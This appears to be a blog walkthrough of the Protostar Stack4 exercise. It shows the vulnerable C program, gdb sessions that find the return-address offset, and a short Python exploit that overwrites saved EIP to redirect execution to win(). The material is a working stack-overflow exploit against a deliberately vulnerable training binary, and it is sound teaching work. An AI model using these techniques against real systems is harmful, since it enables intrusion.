Protostar Stack4

Here are the instructions for the challenge

About
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

This level is at /opt/protostar/bin/stack4

Hints

A variety of introductory papers into buffer overflows may help.
gdb lets you do “run < input”
EIP is not directly after the end of buffer, compiler padding can also increase the size.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}


This is another challenge that wants me to trick the program into running the win() function. This time it's a little more tricky because the code never calls any functions. The programs main function simply creates a 64 byte buffer, then reads input into the buffer with gets. Then the program exits.

First I need to know the address of win() so I startup gdb and disassemble the function

gdb stack4
disassemble win
Dump of assembler code for function win:
0x080483f4 :	push   ebp
0x080483f5 :	mov    ebp,esp
0x080483f7 :	sub    esp,0x18
0x080483fa :	mov    DWORD PTR [esp],0x80484e0
0x08048401 :	call   0x804832c 
0x08048406 :	leave  
0x08048407 :	ret    
End of assembler dump.

Great so I know that I need to get the code at address 0x080483f4 to execute. Next I disassemble main to take a look at the addresses and code.

disassemble main
Dump of assembler code for function main:
0x08048408 :	push   ebp
0x08048409 :	mov    ebp,esp
0x0804840b :	and    esp,0xfffffff0
0x0804840e :	sub    esp,0x50
0x08048411 :	lea    eax,[esp+0x10]
0x08048415 :	mov    DWORD PTR [esp],eax
0x08048418 :	call   0x804830c 
0x0804841d :	leave  
0x0804841e :	ret    
End of assembler dump.

I can see that the main function is called at 0x08048408 so I set a breakpoint there and run the program.

break *0x08048408
run
Starting program: /opt/protostar/bin/stack4 

Breakpoint 1, main (argc=1, argv=0xbffff874) at stack4/stack4.c:12

Now looking at the assembly in main "gets" is called at 0x08048418, then the program cleans up the stack and returns. When return is called on line 0x0804841e this will pop an address off the stack and jump to that address. This is how programs handle returning from sub-functions. So if I can overwrite the return address that the program wants to use with the address of win() I should be able to have the program "return" to win instead of whatever it actually wanted to do.

To find the return address I examine the register values

info registers
eax            0xbffff874	-1073743756
ecx            0xf88aba6a	-125126038
edx            0x1	1
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff7cc	0xbffff7cc
ebp            0xbffff848	0xbffff848
esi            0x0	0
edi            0x0	0
eip            0x8048408	0x8048408 
eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51

The stack frame for this function hasn't been built yet so ESP should still be pointing at the return address. ESP points to 0xbffff7cc. So if I can overwrite the memory at address 0xbffff7cc with the address of win (0x080483f4) I should be able to execute the win function.

I set a breakpoint at the gets call and continue. Then I take a look at the new register values.

break *0x08048418
continue
info registers
eax            0xbffff780	-1073744000
ecx            0x9d4f5b2	164951474
edx            0x1	1
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff770	0xbffff770
ebp            0xbffff7c8	0xbffff7c8
esi            0x0	0
edi            0x0	0
eip            0x8048418	0x8048418 
eflags         0x200282	[ SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

ESP points to the top of the stack. Right now at the top of the stack should be a pointer to the buffer array that gets will use. So I take a look at the memory that ESP points to.

x 0xbffff770
0xbffff770:	0xbffff780

Now when I continue executing the program it will run gets. Whatever I feed to gets will go into memory at 0xbffff780 and grow to higher memory addresses. The difference between 0xbffff780 (the address of buffer) and 0xbffff7cc (the return address) is 76 bytes. So I try feeding gets the letter A 76 times, then the letter BB 4 times which should exactly overwrite 0xbffff7cc with 4 letter B's (42424242).

I set a breakpoint after the gets instructions, feed my 80 character string, and look at the address that I wanted to overwrite.

break *0x0804841d
continue
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
x 0xbffff7cc
0xbffff7cc:	0x42424242

Perfect. Now I create a script to overwrite the buffer with A's but overwrites the return address with the address of win (0x080483f4).

#!/usr/bin/python
import subprocess
 
overflow="A"*76 + "\xf4\x83\x04\x08"
 
my_echo = subprocess.Popen(['/bin/echo', overflow], stdout=subprocess.PIPE)
smash_the_stack = subprocess.Popen(['/opt/protostar/bin/stack4'], stdin=my_echo.stdout)

I go ahead and run my exploit

chmod +x ~/exploit.py
~/exploit.py
code flow successfully changed

Leave a Reply

Your email address will not be published. Required fields are marked *